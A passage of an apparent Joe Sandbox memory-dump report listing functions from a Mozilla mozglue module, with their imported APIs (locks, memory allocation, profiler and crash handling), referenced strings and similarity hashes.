Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction ID: 88f185f8297259e946eca080387f95dafdc61af260dd92aeeb9b440f48701064
Opcode Fuzzy Hash: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction Fuzzy Hash: 6BF0C271E14746ABD7008F21C888676B778FFFA259F21431AF90543601E7B0A5D08BD0

Function 6C9C1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9C1800

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Strings

Details, xrefs: 6C9C1925
{marker.name} - {marker.data.name}, xrefs: 6C9C18C7
name, xrefs: 6C9C1939

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction ID: 791a978e082b28edaee63a6c353ca2e27af3217898c13102eb9902183ba7a4c9
Opcode Fuzzy Hash: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction Fuzzy Hash: 4971F370A047469FDB04CF28D4907AABBB1FFAA314F14466DD8154BB41DB70E698CBE2

Function 6C9CB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?,?,6C9CAB1F), ref: 6C9CB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?), ref: 6C9CB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010), ref: 6C9CB25F

Strings

map/set<T> too long, xrefs: 6C9CB1FA

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction ID: 85520918705c6aea235ba21366db60746784f812a42322285f549ca47e56eb68
Opcode Fuzzy Hash: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction Fuzzy Hash: BB6199347042459FD701CF19C880A9ABBF5FF5A328F28C5A9D8599BB52C331ED45CBA2

Function 6C98D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751

Strings

MOZ_CRASH(), xrefs: 6C98D4BB

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction ID: 3811356ab819f1b3ffe9f2adc51f634ba9d3de3500a3231ddf272999c0292da3
Opcode Fuzzy Hash: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction Fuzzy Hash: 4851E172A097068FD764CF28C49061AB7E5EFAE704F24892FD59AC7B84D770E800CB91

Function 6C9B4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Strings

profiler-paused, xrefs: 6C9B46E4
., xrefs: 6C9B476A
-%llu, xrefs: 6C9B4733

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction ID: 13707dcf7659a4c0fed262672df32682d45a98fdb29045fd23dc09edd5f88b24
Opcode Fuzzy Hash: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction Fuzzy Hash: 1C414872A08708ABCB08DF78D85116FB7E5EF95744F14862DE85567B81EB30D844CB91

Function 6C9D9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9D985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9D987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9D98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9D98D9

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction ID: 1dafb3f66ae6d314c8fb4f216a0e2256e7fac932ac9025a3793d71e07b950014
Opcode Fuzzy Hash: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction Fuzzy Hash: 33313A71A002089FDB14AF58DC105EE77B9DF69718F10846DEA0AABB40CB31E904CBD1

Function 6C9B46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Part of subcall function 6C964410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C9A3EBD,00000017,?,00000000,?,6C9A3EBD,?,?,6C9642D2), ref: 6C964444

Strings

profiler-paused, xrefs: 6C9B46E4
., xrefs: 6C9B476A
-%llu, xrefs: 6C9B4733

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction ID: 80762cc74343dcdfa33afdafba417fd7c612970d9ab57930f06ffdbfbf993f13
Opcode Fuzzy Hash: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction Fuzzy Hash: 8C313971F043086BCB08CF6DD8916AEBBE6DB99714F15853EE805ABB41EB74D804CB90

Function 6C9BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9BB127), ref: 6C9BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9BB4E4

Strings

pid:, xrefs: 6C9BB4DE

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction ID: 19db4a872ff07b1402e37ccabb8dec66e602556d17b7e1336408d050cbfbac8d
Opcode Fuzzy Hash: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction Fuzzy Hash: 0D310031A01208EBDB10DFA9D880AEFF7BABF19318F540529D90577A81D771E849CBA1

Function 6C9AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AE577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE584
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9AE655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9AE777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9AE722, 6C9AE750, 6C9AE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9AE826, 6C9AE850
MOZ_PROFILER_STARTUP, xrefs: 6C9AE5A1, 6C9AE5CC, 6C9AE5FF, 6C9AE62A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction ID: 78658f2fab0ebc1ad77a058b98bde6b9157aa1217c24c5627b7282b1783d0f4e
Opcode Fuzzy Hash: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction Fuzzy Hash: 1C117931A08358DFCB419F58D849B6ABBB8FFDD328F210A1AE84547A50E770E905CB95

Function 6C9B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0CD5

Part of subcall function 6C99F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0D40
free.MOZGLUE ref: 6C9B0DCB

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

free.MOZGLUE ref: 6C9B0DDD
free.MOZGLUE ref: 6C9B0DF2

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction ID: 8b983bc99712cfc5140259470240842a5327803dd420c5100f7f6785ce15d0c3
Opcode Fuzzy Hash: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction Fuzzy Hash: 764123B1908784ABD320CF29C18039EFBE5BFD8614F119A2EE8D897750D770E444CB92

Function 6C9A0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9A084C
EnterCriticalSection.KERNEL32(?), ref: 6C9A08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9A08BD
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A08D5

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction ID: a813f7b15e1dcc3b9e544009029705fa8cd7c0232341bc12f2e24d0d48c589f0
Opcode Fuzzy Hash: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction Fuzzy Hash: 7E21C831B052499BEF44CFA9D844BBE7379FF59708F600568D50AA7A41DF32E8058BD4

Function 6C9BCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDA4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD158
Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDC4

Part of subcall function 6C9B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9C15FC,?,?,?,?,6C9C15FC,?), ref: 6C9B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCECC

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

Part of subcall function 6C9ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9BCEEA,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000), ref: 6C9ACB57
Part of subcall function 6C9ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C9ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9BCEEA,?,?), ref: 6C9ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD058

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction ID: 31068285d1fd8b870da35445bbf181121e32ac465c003c5278f603cd2707d883
Opcode Fuzzy Hash: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction Fuzzy Hash: 05D16071A04B069FD708CF28C4807AAF7E1BF99308F11866DD85997751EB31E965CB81

Function 6C971720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9717B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9718EE
free.MOZGLUE(?), ref: 6C971911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97194C

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction ID: 0c86f08b6a7ee8f3111056b613edbc703d83cce0602e80c73182d795dd26bc6a
Opcode Fuzzy Hash: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction Fuzzy Hash: 9481DF70A162059FDB18CF68D8A49FEBBB1FF8A310F04456CE809AB754D730E945CBA1

Function 6C985C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C985D40
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67
__aulldiv.LIBCMT ref: 6C985DB4
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction ID: 3fe2f7f774e6951fc7d19af14216d5c8cc421bf6f0cee3203adabe93b306b5f8
Opcode Fuzzy Hash: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction Fuzzy Hash: 56516172E051598FDF08CF68C854ABEBBB1FF99708F298A1ED811A7751C730A945CB90

Function 6C96CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C96CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C96CF4E

Strings

0, xrefs: 6C96CF30

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction ID: b66e5c6bad13fad089c54b9c3c27704874458323592a063f4434caad039d07f0
Opcode Fuzzy Hash: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction Fuzzy Hash: 6B512371A042568FCB01CF19C490A9AFBB5EF99300F19859DE8595F791D331ED06CBE0

Function 6C9C77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9C7829

Part of subcall function 6C99CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9631A7), ref: 6C99CC45
Part of subcall function 6C99CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9631A7), ref: 6C99CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9C789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9C78CF

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

